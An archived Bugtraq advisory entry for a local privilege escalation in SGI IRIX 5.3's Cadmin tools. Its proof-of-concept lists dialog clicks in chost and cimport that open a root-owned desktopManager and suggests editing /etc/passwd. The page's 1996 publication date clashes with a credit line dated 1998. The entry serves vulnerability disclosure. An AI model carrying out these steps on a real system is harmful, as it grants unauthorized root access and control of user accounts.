IRIX Cadmin Vulnerabilities

BID:335

Info

IRIX Cadmin Vulnerabilities

Bugtraq ID: 335
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Aug 06 1996 12:00AM
Updated: Aug 06 1996 12:00AM
Credit: This vulnerability was reported to the Bugtraq mailing list by Grant Kaufmann <[email protected]> on August 6, 1998.
Vulnerable: SGI IRIX 5.3
Not Vulnerable:

Exploit / POC

IRIX Cadmin Vulnerabilities

/usr/Cadmin/bin/chost
tools-primary user information
change information
OK (to root password, ie leave blank)
OK (to "password invalid")
Cancel
Double-click any share resource to bring up desktopManager
running as root. Try editing /etc/passwd


/usr/Cadmin/bin/cimport
New
OK
OK
Cancel
double-click any of the mounted filesystems to bring up the desktopManager

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IRIX Cadmin Vulnerabilities

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